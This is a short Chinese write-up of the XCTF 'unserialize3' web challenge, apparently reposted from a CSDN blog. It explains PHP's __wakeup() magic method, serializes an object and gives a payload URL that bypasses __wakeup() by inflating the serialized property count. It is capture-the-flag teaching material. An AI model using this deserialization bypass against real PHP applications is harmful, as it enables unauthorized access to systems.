其他分享
首页 > 其他分享> > 攻防世界Web高手进阶区WP(unserialize3)

攻防世界Web高手进阶区WP(unserialize3)

作者:互联网

unserialize3

在这里插入图片描述
打开环境,是一段代码
在这里插入图片描述
function用于声明函数
在这里插入图片描述
PHP 的魔术方法函数
在这里插入图片描述
由上图可知,__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,但是在题目代码中并没有序列化字符串。于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象a)


<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$a = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($a));       //输出被序列化的对象(peak)
?>

执行php代码,结果如下:

在这里插入图片描述

O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
/*xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/

所以我们要将1改为2,构造pyload

http://111.200.241.244:53454/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

成功得到flag
在这里插入图片描述
本文参考这篇文章xctf的unserialize3
感谢这位大佬

标签:__,Web,进阶,unserialize3,flag,111,wakeup,序列化,xctf
来源: https://blog.csdn.net/qq_45813980/article/details/119352200